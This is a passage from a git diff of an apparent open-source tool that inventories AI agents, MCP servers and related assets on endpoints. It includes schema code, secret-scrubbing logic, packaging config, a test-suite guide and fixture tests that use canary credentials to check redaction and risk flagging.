cannot be overridden by a user; a project skill overrides a personal +#: one, because it travels with the repository the agent is working in. +SCOPE_PRECEDENCE = { + "mcp_server": ("enterprise_managed", "project", "user", "plugin"), + "skill": ("project", "personal", "plugin"), + "command": ("project", "personal", "plugin"), + "agent_definition": ("project", "personal", "plugin"), +} + + +def mark_effective_scope(assets: List[DiscoveredAsset]) -> None: + """Say which of several same-named declarations is the one that runs.""" + groups: Dict[tuple, List[DiscoveredAsset]] = {} + for asset in assets: + if asset.kind in SCOPE_PRECEDENCE: + groups.setdefault((asset.kind, asset.name, asset.owner), []).append(asset) + for (kind, _, _), members in groups.items(): + order = SCOPE_PRECEDENCE[kind] + winner = min(members, key=lambda a: order.index(a.config_scope) + if a.config_scope in order else 99) + for asset in members: + asset.risk["effective"] = asset is winner + + +def derive_findings(assets: List[DiscoveredAsset]) -> List[Dict[str, Any]]: + """Conclusions no single probe can reach, because they compare channels.""" + findings: List[Dict[str, Any]] = [] + for asset in assets: + if asset.kind != "mcp_server": + continue + channels = asset.channels + if "runtime" in channels and "config" not in channels: + findings.append({ + "finding": "undeclared_mcp_server", "asset_id": asset.asset_id, + "name": asset.name, "severity": "high", "install_path": asset.install_path, + "detail": "server process observed with no declaring config on this host", + }) + if not asset.risk.get("pinned", True): + findings.append({ + "finding": "unpinned_mcp_server", "asset_id": asset.asset_id, + "name": asset.name, "severity": "medium", + "detail": "launch resolves a package version at run time", + }) + return findings + + +def scrub(snapshot: DiscoverySnapshot) -> DiscoverySnapshot: + """Last-line defense: sanitize and mask anything key-shaped in the output. + + Probes already redact at the point of collection. This pass exists because + one probe forgetting to is a data-leak incident, not a bug report. + """ + + def walk(value): + if isinstance(value, str): + return redact_secretish(value) + if isinstance(value, list): + return [walk(item) for item in value] + if isinstance(value, dict): + return {sanitize(str(key)): walk(item) for key, item in value.items()} + return value + + for asset in snapshot.assets: + asset.name = walk(asset.name) + asset.risk = walk(asset.risk) + asset.network = walk(asset.network) + asset.install_path = walk(asset.install_path) + for item in asset.evidence: + item.path = walk(item.path) + item.matched_on = walk(item.matched_on) + snapshot.review_queue = walk(snapshot.review_queue) + snapshot.findings = walk(snapshot.findings) + snapshot.errors = walk(snapshot.errors) + return snapshot diff --git a/Discovery/adr_discovery/schema.py b/Discovery/adr_discovery/schema.py new file mode 100644 index 0000000..212c1fc --- /dev/null +++ b/Discovery/adr_discovery/schema.py @@ -0,0 +1,141 @@ +"""Normalized output of discovery: evidence, assets, snapshots.""" + +import hashlib +import json +from dataclasses import asdict, dataclass, field +from typing import Any, Dict, List, Optional + +#: Independent evidence channels. Confidence comes from how many *distinct* +#: channels agree, never from how many observations were made: a binary and its +#: symlink are one fact, and multiplying their confidences would manufacture +#: certainty out of a single observation. +CHANNELS = ("filesystem", "package_registry", "code_signature", "config", "runtime", "telemetry") + +BAND_THRESHOLDS = ((0.8, "high"), (0.55, "medium"), (0.0, "low")) + + +@dataclass +class Evidence: + """Why we believe an asset exists. Never collapsed away.""" + + probe: str + channel: str + path: str + matched_on: str + confidence: float = 0.5 + + def to_dict(self) -> Dict[str, Any]: + return asdict(self) + + +@dataclass +class DiscoveredAsset: + """One resolved thing on the endpoint.""" + + kind: str + name: str + identity: str + owner: str = "" + vendor: Optional[str] = None + version: Optional[str] = None + install_path: Optional[str] = None + install_root: Optional[str] = None + install_method: str = "unknown" + catalog_id: Optional[str] = None + evidence: List[Evidence] = field(default_factory=list) + signature: Dict[str, Any] = field(default_factory=dict) + network: Dict[str, Any] = field(default_factory=dict) + config_scope: Optional[str] = None + liveness: str = "installed" + #: Where the asset lives when that is not this OS's own tree: a WSL + #: distribution, a devcontainer, a remote host. None means local. + location: Optional[str] = None + transport: Optional[str] = None + parent_agent: Optional[str] = None + models: List[str] = field(default_factory=list) + flags: List[str] = field(default_factory=list) + risk: Dict[str, Any] = field(default_factory=lambda: {"factors": []}) + last_used: Optional[str] = None + asset_id: str = "" + + @property + def channels(self) -> List[str]: + seen = [] + for item in self.evidence: + if item.channel not in seen and item.channel in CHANNELS: + seen.append(item.channel) + return sorted(seen, key=CHANNELS.index) + + @property + def confidence(self) -> float: + """Confidence from the count of agreeing independent channels.""" + base = {0: 0.0, 1: 0.45, 2: 0.7}.get(len(self.channels), 0.9) + if "state_only" in self.flags: + # A leftover state directory must never resurrect an uninstalled + # tool at full confidence. + base = min(base, 0.4) + return round(base, 2) + + @property + def confidence_band(self) -> str: + value = self.confidence + for floor, name in BAND_THRESHOLDS: + if value >= floor: + return name + return "low" + + def compute_id(self) -> str: + """Stable identity for diffing and for keying prevention policy. + + Deliberately excludes the version: an upgrade must read as + ``version_changed``, not as an uninstall followed by a fresh install. + """ + payload = "|".join([self.kind, self.identity, self.owner, self.install_root or ""]) + self.asset_id = hashlib.sha256(payload.encode()).hexdigest()[:16] + return self.asset_id + + def to_dict(self) -> Dict[str, Any]: + data = asdict(self) + data["evidence"] = [item.to_dict() for item in self.evidence] + data["channels"] = self.channels + data["confidence"] = self.confidence + data["confidence_band"] = self.confidence_band + return data + + +@dataclass +class DiscoverySnapshot: + """One endpoint, one moment. + + Emitted even when nothing is found: to fleet coverage, a host that reported + an empty inventory and a host that never reported are different facts. + """ + + hostname: str + username: str + platform: str + timestamp: str + assets: List[DiscoveredAsset] = field(default_factory=list) + review_queue: List[Dict[str, Any]] = field(default_factory=list) + findings: List[Dict[str, Any]] = field(default_factory=list) + errors: List[Dict[str, str]] = field(default_factory=list) + stats: Dict[str, Any] = field(default_factory=dict) + + def to_dict(self) -> Dict[str, Any]: + return { + "hostname": self.hostname, + "username": self.username, + "platform": self.platform, + "timestamp": self.timestamp, + "assets": [asset.to_dict() for asset in self.assets], + "review_queue": self.review_queue, + "findings": self.findings, + "errors": self.errors, + "stats": self.stats, + } + + def to_json(self, indent: Optional[int] = 2) -> str: + return json.dumps(self.to_dict(), indent=indent, sort_keys=True) + + def by_kind(self, kind: str) -> List[DiscoveredAsset]: + return [asset for asset in self.assets if asset.kind == kind] diff --git a/Discovery/pyproject.toml b/Discovery/pyproject.toml new file mode 100644 index 0000000..f88e733 --- /dev/null +++ b/Discovery/pyproject.toml @@ -0,0 +1,75 @@ +[build-system] +requires = ["setuptools>=68.0", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "adr-discovery" +version = "0.1.0" +description = "ADR Discovery - Agentic Detection & Response: inventory the AI tools present on an endpoint" +readme = "README.md" +license = "Apache-2.0" +requires-python = ">=3.9" +authors = [ + { name = "ADR Project Contributors" }, +] +keywords = ["security", "ai-agents", "discovery", "inventory", "shadow-ai", "mcp", "llm"] +classifiers = [ + "Development Status :: 4 - Beta", + "Intended Audience :: Developers", + "Intended Audience :: Information Technology", + "Operating System :: MacOS", + "Operating System :: Microsoft :: Windows", + "Operating System :: POSIX :: Linux", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.13", + "Topic :: Security", + "Topic :: Software Development :: Libraries :: Python Modules", +] +# Discovery runs on endpoints that may not reach PyPI, so the collector is +# standard-library-only wherever the standard library suffices. The single +# exception is TOML on Python 3.9 and 3.10, which have no tomllib: parsing +# Codex's config with a hand-written subset lost quoted keys and any comma +# inside a string, so a compliant parser is a dependency rather than a nicety. +dependencies = [ + "tomli>=2.0.1; python_version < '3.11'", +] + +[project.optional-dependencies] +dev = [ + "pytest>=7.0.0", + "pytest-cov>=4.1.0", + "ruff>=0.16.0", +] + +[project.scripts] +adr-discovery = "adr_discovery.cli:main" + +[project.urls] +Homepage = "https://github.com/uber/ADR" +Documentation = "https://github.com/uber/ADR/tree/main/Discovery" +Repository = "https://github.com/uber/ADR" +Issues = "https://github.com/uber/ADR/issues" + +[tool.setuptools.packages.find] +include = ["adr_discovery*"] + +[tool.setuptools.package-data] +# catalog.json is the only non-Python file in the package and every discovery +# run reads it. Without this the installed wheel omits it and `adr-discovery` +# dies on a missing file at import-adjacent time. +adr_discovery = ["catalog.json"] + +[tool.ruff] +line-length = 120 +target-version = "py39" + +[tool.ruff.lint] +select = ["E", "F", "W", "I"] + +[tool.pytest.ini_options] +testpaths = ["tests"] +pythonpath = ["."] diff --git a/Discovery/tests/FIXTURE_SUITE.md b/Discovery/tests/FIXTURE_SUITE.md new file mode 100644 index 0000000..e5b0032 --- /dev/null +++ b/Discovery/tests/FIXTURE_SUITE.md @@ -0,0 +1,158 @@ +# The fixture suite + +> This is the fast, per-commit instrument. For the end-to-end measurement — real tools installed on macOS, Linux and Windows VMs, scored against what the collector reports — see [README.md](README.md). + + +This suite answers one question: **when ADR Discovery scans a machine, does it report what is actually there?** + +It does not mock the collector. Each case builds a fixture endpoint on disk — real files, real symlinks, real directory layouts — injects a synthetic process table, socket list and registry, then runs a **real scan** through the same `discover()` entry point the CLI uses. What the scan reports is compared against what the case declared. + +241 cases produce 490 individual checks. + +## Why a scorecard, not a pass count + +`run_suite.py` reports agreement per group rather than a single number, because "480 of 490" hides *which kind* of wrong it is. A suite that loses ten checks in the MCP group has a different problem from one that loses ten spread across counting and phantoms, and a single total makes the two look identical. + +``` +checks by group: + AG 68/68 + M 82/82 + R 125/125 + S 80/80 + T 135/135 + +490/490 checks pass, 0 cases with failures +``` + +`test_fidelity.py` wraps the same runner in pytest so any regression fails the build. The two are not redundant: the scorecard is for reading, the pytest wrapper is for gating. + +## Running it + +```bash +cd Discovery + +uv run pytest tests/ -q # 241 parametrized cases, one per case id +python3 tests/run_suite.py # the grouped scorecard +python3 tests/run_suite.py -v # every check, including the ones that pass +python3 tests/run_suite.py R # only the hardening group +python3 tests/run_suite.py R-46 # one case +``` + +The filter argument is a prefix match on the case id, so `M` runs all 46 MCP cases and `M-12` runs one. + +Neither runner needs network access, and neither reads your actual machine. Every case works inside a temporary directory that is removed afterwards, even when the case raises. + +## How a case works + +A case is a function returning `(world, expectations)`. The runner builds the world, scans it once, evaluates every expectation against that single snapshot, and records each one separately. + +```python +@case("T-14") +def t14(): + """One sentence saying what this case exists to prove.""" + w = World(platform="linux", home="/home/alice") + npm(w, "@anthropic-ai/claude-code", "2.1.235", "claude") + return w, [only("claude-code", version="2.1.235"), + total(1)] +``` + +Each case module keeps its own `CASES` dict and a local `case(case_id)` decorator that registers into it; `run_suite.load()` merges all five into one ordered mapping. + +A case docstring is not decoration. When a check fails, the docstring is what tells the next reader whether the collector regressed or the expectation was wrong in the first place. + +## Building a world + +`World(platform=..., home=..., user=..., case_insensitive=...)` creates a temporary root. Platforms are `darwin`, `linux` and `windows`; on Windows `APPDATA` and `LOCALAPPDATA` are pre-set. Every method returns the world, so calls chain. + +Paths are **logical**. `~` expands to the case's home and `%APPDATA%`-style variables expand from the world's environment, then everything is rooted inside the temporary directory. A case writes `~/.claude/settings.json` and never learns the real path. + +### Filesystem + +| Method | Creates | +| ------------------------------- | ------------------------------------------------------- | +| `dir(path)` | a directory | +| `file(path, content="x")` | a text file | +| `bytes(path, payload)` | a binary file | +| `json(path, obj)` | a JSON file | +| `plist(path, obj, binary=True)` | a macOS property list, binary or XML | +| `link(path, target)` | a symlink to another *logical* path in this world | +| `raw_link(path, raw_target)` | a symlink to a literal string — for dangling links, loops, and usr-merge layouts | +| `path(*dirs)` | appends to `PATH` and creates each directory | +| `var(name, value)` | sets an environment variable | + +`raw_link` is the one to reach for when the *spelling* of a link matters. `raw_link("/bin", "usr/bin")` reproduces a usr-merge system, where one binary is reachable by two paths and a naive collector counts it twice. + +### Injected services + +The collector never touches the live machine, so anything outside the filesystem is supplied: + +| Method | Supplies | +| ----------------------------------- | ---------------------------------------------------- | +| `proc(pid, exe, argv, ppid, user, cwd)` | an entry in the process table | +| `sock(port, pid)` | a listening socket | +| `http(port, endpoint, payload)` | a response for a model-listing probe | +| `reg(**fields)` | a Windows registry record | +| `run(contains, out, code=0)` | a subprocess response for any argv containing `contains` | +| `used(catalog_id, stamp)` | a telemetry last-used timestamp | +| `users(*names)` | additional user accounts on the box | + +`run("!timeout", ...)` makes any `--version` invocation raise `TimeoutError`, which is how the suite covers a binary that hangs instead of answering. + +`scan()` pins the hostname to `fixture` and the timestamp to a fixed instant, so two runs of the same case produce byte-identical snapshots. + +## Writing expectations + +An expectation is a label plus a predicate over the snapshot. The predicate returns `True`/`None` to pass, `False` to fail, or **a string explaining what it saw** — which is what makes a failure readable without a debugger. + +| Helper | Asserts | +| --------------------------------- | -------------------------------------------------------- | +| `only(catalog_id, **fields)` | exactly one asset with that catalog id, and each field matches | +| `count(n, **filters)` | exactly `n` assets match the filters | +| `total(n)` | the snapshot holds exactly `n` assets | +| `none_of(**filters)` | nothing matches — the phantom check | +| `in_queue(name, signals, min_score)` | the open-world stage queued this name, with these signals | +| `not_queued(name)` | the open-world stage did *not* queue it | +| `has(label, fn)` | anything else, as a named predicate | + +`only()` accepts real `DiscoveredAsset` fields plus three shorthands: `channels`, `band` (for `confidence_band`), and `factors`, which checks that the given risk factors are a **subset** of those reported rather than an exact match. + +For lower-level work, `framework.py` exports `assets(snapshot, **filters)`, `one(snapshot, **filters)`, `queued(snapshot, name)` and `findings(snapshot, kind)`. + +Prefer `has()` with a sentence over a bare boolean. `has("the canonical spelling is reported, not the compat link", ...)` survives being read a year later; `assert x` does not. + +## The groups + +| Group | Cases | Checks | Covers | +| ---- | ---: | ---: | -------------------------------------------------------------- | +| `T` | 74 | 135 | AI tools — one case per tool per install form | +| `M` | 46 | 82 | MCP servers | +| `S` | 36 | 80 | Skills, commands, hooks, plugins, rules and instruction files | +| `AG` | 36 | 68 | AI agents: running, defined, scheduled, delegated, disowned | +| `R` | 49 | 125 | Hardening regressions | + +**T — AI tools.** CLI coding agents, IDEs and editors, IDE and browser extensions, desktop apps and AI browsers, local model runtimes, install channels and platform layouts, fields about the tool, one-thing-one-asset, and must-not-be-invented. + +**M — MCP servers.** Every place a server can be declared, transport and connection, the supply-chain verdict, what the server can reach, and counting — including what must *not* be counted as a server. + +**S — the programmable surface.** Skills; commands, output styles and plugins; hooks; instruction and rules files; and must-not-be-invented. + +**AG — agents.** Running agents, defined agents, scheduled and delegated ones, identity and credentials, and the open-world boundary between an agent and something that merely looks like one. + +**R — hardening regressions.** One case per finding from the adversarial reviews, each pinned to the commit it reproduced on. These sit outside the four target groups on purpose: they are not coverage of a surface, they are proof that a specific defect stays fixed. + +Two kinds of case carry disproportionate weight. **Phantom cases** (`none_of`, `not_queued`, the must-not-be-invented sections) assert the collector reports *nothing* — a scanner that invents assets is worse than one that misses them, because it costs an operator real time. **Counting cases** (`total`, `count`) assert that one thing reached two ways is one asset; most of the R group exists because that invariant broke in some new way. + +## Adding a case + +1. Pick the group and the next free id in that file. +2. Write the docstring first — state what the case proves, and if it came from a real machine rather than a hypothesis, say so. +3. Build the smallest world that reproduces it. Fixture noise makes a failure harder to read. +4. Assert what must be true *and* what must not be invented. A case that only checks presence will happily pass while the collector doubles the asset. +5. Run the group, then the whole suite: + +```bash +python3 tests/run_suite.py T-75 -v +python3 tests/run_suite.py +``` + +For a defect found on a live machine, add it to `R` and describe the machine. Several R cases exist because a real container behaved in a way no fixture had predicted, and that provenance is the most useful line in the docstring. diff --git a/Discovery/tests/__init__.py b/Discovery/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Discovery/tests/cases_agents.py b/Discovery/tests/cases_agents.py new file mode 100644 index 0000000..236b58a --- /dev/null +++ b/Discovery/tests/cases_agents.py @@ -0,0 +1,475 @@ +"""Group AG - AI agents: running, defined, scheduled, delegated and disowned.""" + +from .cases_tools import count, none_of +from .framework import World, assets, has, queued + +CASES = {} + + +def case(case_id): + def register(fn): + CASES[case_id] = fn + return fn + return register + + +def agent(snapshot, catalog_id="claude-code", kind=None): + matches = [a for a in snapshot.assets + if a.catalog_id == catalog_id and (kind is None or a.kind == kind)] + if len(matches) != 1: + raise AssertionError("expected 1 %s%s, got %d: %s" + % (catalog_id, " " + kind if kind else "", len(matches), + [(a.name, a.kind) for a in matches])) + return matches[0] + + +def one_agent(catalog_id="claude-code", kind=None, **fields): + def check(snapshot): + asset = agent(snapshot, catalog_id, kind) + for key, value in fields.items(): + if key == "factors": + got = asset.risk.get("factors", []) + if not set(value).issubset(set(got)): + return "factors %r, expected to contain %r" % (got, value) + continue + got = {"sessions": asset.risk.get("session_count"), + "mode": asset.risk.get("mode"), + "schedule": asset.risk.get("schedule")}.get(key, getattr(asset, key, None)) + if got != value: + return "%s == %r, expected %r" % (key, got, value) + return True + return has("one %s %s %s" % (catalog_id, kind or "", fields), check) + + +def claude_on_path(world): + world.path("/opt/homebrew/bin").file("/opt/homebrew/bin/claude") + return world + + +# -- AG.1 running agents -------------------------------------------------- + +@case("AG-01") +def ag01(): + w = claude_on_path(World()).proc(100, "/opt/homebrew/bin/claude", user="alice") + return w, [one_agent(liveness="running", owner="alice"), + has("runtime channel present", + lambda s: "runtime" in agent(s).channels)] + + +@case("AG-02") +def ag02(): + w = claude_on_path(World()).proc(100, "claude", user="alice") + return w, [count(1, catalog_id="claude-code"), one_agent(liveness="running")] + + +@case("AG-03") +def ag03(): + w = World().proc(100, "/opt/homebrew/bin/claude", user="alice") + return w, [one_agent(flags=["exe_missing"], liveness="running")] + + +@case("AG-04") +def ag04(): + w = claude_on_path(World()) + for pid in range(100, 106): + w.proc(pid, "/opt/homebrew/bin/claude", user="alice") + for pid in range(200, 203): + w.proc(pid, "/opt/homebrew/bin/claude", user="bob") + return w, [count(2, catalog_id="claude-code"), + has("session counts per owner", + lambda s: sorted((a.owner, a.risk.get("session_count")) + for a in assets(s, catalog_id="claude-code")) + == [("alice", 6), ("bob", 3)])] + + +@case("AG-05") +def ag05(): + w = claude_on_path(World()) + w.proc(100, "/opt/homebrew/bin/claude", + argv=["claude", "-p", "review the backlog", "--dangerously-skip-permissions"]) + return w, [one_agent(factors=["unattended_run", "permission_bypass"]), + has("flag names kept, prompt dropped", + lambda s: "--dangerously-skip-permissions" in agent(s).risk.get("argv", []) + and "review the backlog" not in s.to_json())] + + +@case("AG-06") +def ag06(): + w = claude_on_path(World()) + w.proc(100, "/opt/homebrew/bin/claude", argv=["claude", "--permission-mode", "sandbox"]) + return w, [one_agent(mode="sandbox"), + has("sandbox is not recorded as a bypass", + lambda s: "permission_bypass" not in agent(s).risk.get("factors", []))] + + +@case("AG-07") +def ag07(): + w = claude_on_path(World()) + w.file("/Users/alice/dev/payments/.git/HEAD", "ref: refs/heads/main\n") + for index, pid in enumerate((100, 101, 102)): + worktree = "/Users/alice/dev/payments-wt%d" % index + w.file("%s/.git" % worktree, + "gitdir: /Users/alice/dev/payments/.git/worktrees/wt%d\n" % index) + w.proc(pid, "/opt/homebrew/bin/claude", cwd=worktree, user="alice") + return w, [one_agent(sessions=3), + has("three sessions in one repository", + lambda s: agent(s).risk.get("repositories") == ["/Users/alice/dev/payments"]), + has("worktrees recorded", + lambda s: len(agent(s).risk.get("worktrees", [])) == 3)] + + +@case("AG-08") +def ag08(): + w = claude_on_path(World()) + w.file("/opt/homebrew/bin/npx") + w.proc(1, "/opt/homebrew/bin/claude") + w.proc(2, "/opt/homebrew/bin/npx", argv=["npx", "-y", "mcp-a@1.0.0"], ppid=1) + w.proc(3, "/opt/homebrew/bin/npx", argv=["npx", "-y", "mcp-b@1.0.0"], ppid=1) + return w, [count(2, kind="mcp_server"), + has("both bound to the agent", + lambda s: all(a.parent_agent == "claude-code" + for a in assets(s, kind="mcp_server")))] + + +@case("AG-09") +def ag09(): + running = claude_on_path(World()).proc(100, "/opt/homebrew/bin/claude") + installed = claude_on_path(World()) + residue = World().dir("/Users/alice/.claude") + return running, [one_agent(liveness="running"), + has("installed and idle", + lambda s: agent(installed.scan()).liveness == "installed"), + has("state only", + lambda s: agent(residue.scan()).liveness == "declared_only")] + + +@case("AG-10") +def ag10(): + w = World().proc(100, "/usr/local/bin/docker", + argv=["docker", "run", "-v", "/Users/alice/dev/payments:/work", + "ghcr.io/acme/claude-code-devbox:1.0"]) + return w, [one_agent(flags=["containerized"], install_method="container"), + has("image and mount recorded", + lambda s: agent(s).risk.get("image", "").startswith("ghcr.io/acme/claude-code") + and bool(agent(s).risk.get("mounts")))] + + +@case("AG-11") +def ag11(): + w = World(platform="windows", + locations=[{"kind": "wsl", "name": "Ubuntu", "root": "/wsl/Ubuntu", + "home": "/home/alice"}]) + w.file("/wsl/Ubuntu/usr/local/bin/claude") + w.proc(100, "/wsl/Ubuntu/usr/local/bin/claude", user="alice") + return w, [one_agent(location="wsl:Ubuntu", liveness="running")] + + +# -- AG.2 defined agents -------------------------------------------------- + +DEFINITION = """--- +name: code-reviewer +description: Reviews a diff for correctness +tools: Bash, Read, Grep +--- +Review carefully. +""" + + +@case("AG-12") +def ag12(): + w = World().file("~/.claude/agents/code-reviewer.md", DEFINITION) + return w, [has("one personal agent definition", + lambda s: [(a.name, a.risk.get("scope"), a.liveness) + for a in assets(s, kind="agent_definition")] + == [("code-reviewer", "personal", "declared_only")]), + has("tool grants recorded", + lambda s: assets(s, kind="agent_definition")[0].risk.get("tools") + == "Bash, Read, Grep")] + + +@case("AG-13") +def ag13(): + w = World() + w.file("~/.claude/agents/migration-runner.md", "---\nname: migration-runner\n---\nx\n") + w.file("~/dev/payments/.claude/agents/migration-runner.md", + "---\nname: migration-runner\n---\ny\n") + return w, [count(2, kind="agent_definition"), + has("scopes differ", + lambda s: sorted(a.risk["scope"] for a in assets(s, kind="agent_definition")) + == ["personal", "project"])] + + +@case("AG-14") +def ag14(): + w = World().file("~/.claude/agents/omni.md", + "---\nname: omni\ntools: \"*\"\n---\nx\n") + return w, [has("unrestricted tools flagged", + lambda s: "unrestricted_tools" in + assets(s, kind="agent_definition")[0].risk["factors"]), + has("grant recorded verbatim", + lambda s: assets(s, kind="agent_definition")[0].risk["tools"] == "*")] + + +@case("AG-15") +def ag15(): + w = World().file("~/.claude/agents/deep.md", + "---\nname: deep\nmodel: claude-opus-5\n---\nx\n") + return w, [has("model recorded", + lambda s: assets(s, kind="agent_definition")[0].risk.get("model") + == "claude-opus-5")] + + +@case("AG-16") +def ag16(): + w = World().json("~/.claude/plugins/reviewers/.claude-plugin/plugin.json", + {"name": "reviewers"}) + w.file("~/.claude/plugins/reviewers/agents/a.md", "---\nname: a\n---\nx\n") + w.file("~/.claude/plugins/reviewers/agents/b.md", "---\nname: b\n---\nx\n") + return w, [count(2, kind="agent_definition"), + has("plugin recorded on both", + lambda s: all(a.risk.get("plugin") == "reviewers" + for a in assets(s, kind="agent_definition")))] + + +@case("AG-17") +def ag17(): + w = World().file("~/.cursor/agents/refactorer.md", "---\nname: refactorer\n---\nx\n") + return w, [has("host app recorded", + lambda s: assets(s, kind="agent_definition")[0].risk.get("host_app") + == "cursor")] + + +# -- AG.3 scheduled and delegated ----------------------------------------- + +@case("AG-18") +def ag18(): + w = claude_on_path(World()) + w.plist("~/Library/LaunchAgents/com.alice.nightly-claude.plist", + {"Label": "com.alice.nightly-claude", + "ProgramArguments": ["/opt/homebrew/bin/claude", "-p", "review the backlog"], + "StartCalendarInterval": {"Hour": 3, "Minute": 0}}) + return w, [has("one scheduled agent", + lambda s: len(assets(s, kind="scheduled_agent")) == 1), + has("schedule captured", + lambda s: assets(s, kind="scheduled_agent")[0].risk.get("schedule") == "at 03:00"), + has("unattended, prompt dropped, flag kept", + lambda s: "unattended_run" in assets(s, kind="scheduled_agent")[0].risk["factors"] + and "review the backlog" not in s.to_json() + and "-p" in assets(s, kind="scheduled_agent")[0].risk.get("argv", []))] + + +@case("AG-19") +def ag19(): + w = World().run("crontab", "0 * * * * /opt/homebrew/bin/codex exec 'triage'\n") + return w, [has("one scheduled codex agent", + lambda s: [(a.catalog_id, a.risk.get("schedule")) + for a in assets(s, kind="scheduled_agent")] + == [("codex", "0 * * * *")])] + + +@case("AG-20") +def ag20(): + linux = World(platform="linux") + linux.file("/home/alice/.config/systemd/user/agent.timer", + "[Timer]\nOnCalendar=daily\n") + linux.file("/home/alice/.config/systemd/user/agent.service", + "[Service]\nExecStart=/usr/local/bin/claude -p nightly\n") + win = World(platform="windows", + scheduled_tasks=[{"name": "NightlyClaude", "schedule": "daily 03:00", + "argv": ["C:/Users/alice/.local/bin/claude.exe", "-p", "x"]}]) + return linux, [has("systemd timer found", + lambda s: [a.risk.get("schedule") for a in assets(s, kind="scheduled_agent")] + == ["daily"]), + has("windows scheduled task found", + lambda s: [a.risk.get("schedule") + for a in assets(win.scan(), kind="scheduled_agent")] + == ["daily 03:00"])] + + +@case("AG-21") +def ag21(): + w = World().file("~/dev/payments/.github/workflows/triage.yml", """ +name: triage +on: + schedule: + - cron: "0 6 * * *" +jobs: + triage: + steps: + - run: npx -y @anthropic-ai/claude-code -p "triage issues" + env: + ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} +""") + return w, [has("one ci agent", + lambda s: len(assets(s, kind="ci_agent")) == 1), + has("trigger and repository recorded", + lambda s: (assets(s, kind="ci_agent")[0].risk.get("trigger"), + assets(s, kind="ci_agent")[0].risk.get("repository")) + == ("schedule", "/Users/alice/dev/payments")), + has("declared secrets recorded by name", + lambda s: assets(s, kind="ci_agent")[0].risk.get("secrets") + == ["ANTHROPIC_API_KEY"])] + + +@case("AG-22") +def ag22(): + w = claude_on_path(World()) + w.plist("~/Library/LaunchAgents/com.alice.claude-login.plist", + {"Label": "com.alice.claude-login", "RunAtLoad": True, + "ProgramArguments": ["/opt/homebrew/bin/claude", "serve"]}) + return w, [has("runs at login", + lambda s: "runs_at_login" in assets(s, kind="scheduled_agent")[0].flags)] + + +@case("AG-23") +def ag23(): + base = "~/Library/Application Support/Claude/local-agent-mode-sessions/alice/org" + w = World() + w.file("%s/agent/local_ditto_9f2c/audit.jsonl" % base, '{"type":"start"}\n') + w.file("%s/local_abc123/audit.jsonl" % base, '{"type":"start"}\n') + return w, [count(2, kind="agent"), + has("dispatch distinguished from interactive", + lambda s: sorted(bool(a.flags) for a in assets(s, kind="agent")) + == [False, True])] + + +@case("AG-24") +def ag24(): + w = World().json("~/.claude/cloud-sessions.json", + [{"task": "refactor", "runner": "vendor-cloud"}, + {"task": "tests", "runner": "vendor-cloud"}]) + return w, [has("one cloud agent with its session count", + lambda s: [(a.kind, a.location, a.risk.get("session_count")) + for a in assets(s, kind="cloud_agent")] + == [("cloud_agent", "remote", 2)])] + + +@case("AG-25") +def ag25(): + w = World().sock(3001, pid=500).http(3001, "/v1/models", {"data": [{"id": "x"}]}) + w.proc(500, "/usr/local/bin/openhands") + return w, [has("self-hosted platform found by port and binary", + lambda s: [(a.catalog_id, a.kind) for a in assets(s, catalog_id="openhands")] + == [("openhands", "agent_platform")])] + + +# -- AG.4 identity, usage and credentials --------------------------------- + +@case("AG-26") +def ag26(): + w = World(policy={"corporate_domains": ["corp.example"]}) + w.json("~/.claude/.credentials.json", + {"claudeAiOauth": {"account": "alice@gmail.com", "accessToken": "oauth-CANARY"}}) + return w, [has("personal account flagged", + lambda s: agent(s).risk.get("account_type") == "personal" + and "personal_account" in agent(s).risk.get("factors", [])), + has("token never recorded", lambda s: "oauth-CANARY" not in s.to_json())] + + +@case("AG-27") +def ag27(): + w = World().file("~/.zshrc", 'export ANTHROPIC_API_KEY="sk-ant-CANARYKEY123456"\n') + return w, [has("auth method and provider recorded", + lambda s: agent(s).risk.get("auth_method") == "api_key" + and agent(s).risk.get("credential_kinds") == ["anthropic"]), + has("value absent", lambda s: "CANARYKEY123456" not in s.to_json())] + + +@case("AG-28") +def ag28(): + w = claude_on_path(World()).path("/usr/local/bin") + w.file("/usr/local/bin/codex") + w.used("claude-code", "2026-08-16T09:12:00Z") + return w, [one_agent(last_used="2026-08-16T09:12:00Z"), + has("telemetry channel on the used one", + lambda s: "telemetry" in agent(s).channels), + has("the unused one has no last_used and no telemetry channel", + lambda s: agent(s, "codex").last_used is None + and "telemetry" not in agent(s, "codex").channels)] + + +@case("AG-29") +def ag29(): + w = claude_on_path(World()) + return w, [one_agent(last_used=None, liveness="installed")] + + +@case("AG-30") +def ag30(): + w = World() + w.file("~/dev/helpdesk-bot/.env", "ANTHROPIC_API_KEY=sk-ant-x\n") + for index in range(40): + w.file("~/dev/helpdesk-bot/sessions/s%d.jsonl" % index, + '{"role":"user","content":"hi"}\n') + return w, [has("queued with its usage attached", + lambda s: queued(s, "helpdesk-bot") + and queued(s, "helpdesk-bot")[0].get("sessions") == 40), + has("usage raises priority", + lambda s: queued(s, "helpdesk-bot")[0].get("priority", 0) + > queued(s, "helpdesk-bot")[0]["score"])] + + +@case("AG-31") +def ag31(): + w = claude_on_path(World(policy={"sensitive_repos": ["/Users/alice/dev/payments"]})) + w.file("/Users/alice/dev/payments/.git/HEAD", "ref: refs/heads/main\n") + w.file("/Users/alice/dev/payments/secrets.txt", "CANARYSECRET\n") + w.proc(100, "/opt/homebrew/bin/claude", cwd="/Users/alice/dev/payments", user="alice") + return w, [one_agent(factors=["sensitive_repository"]), + has("repository recorded", + lambda s: agent(s).risk.get("repositories") == ["/Users/alice/dev/payments"]), + has("no file contents captured", lambda s: "CANARYSECRET" not in s.to_json())] + + +# -- AG.5 open world, and what is not an agent ---------------------------- + +@case("AG-32") +def ag32(): + w = World() + w.file("~/dev/helpdesk-bot/.env", "ANTHROPIC_API_KEY=sk-ant-x\n") + w.file("~/dev/helpdesk-bot/sessions/a.jsonl", '{"role":"user","content":"hi"}\n') + return w, [has("queued with both signals and a high score", + lambda s: queued(s, "helpdesk-bot") + and sorted(queued(s, "helpdesk-bot")[0]["signals"]) + == ["credential_affinity", "state_shape"] + and queued(s, "helpdesk-bot")[0]["score"] >= 0.8)] + + +@case("AG-33") +def ag33(): + w = World().path("/usr/local/bin") + 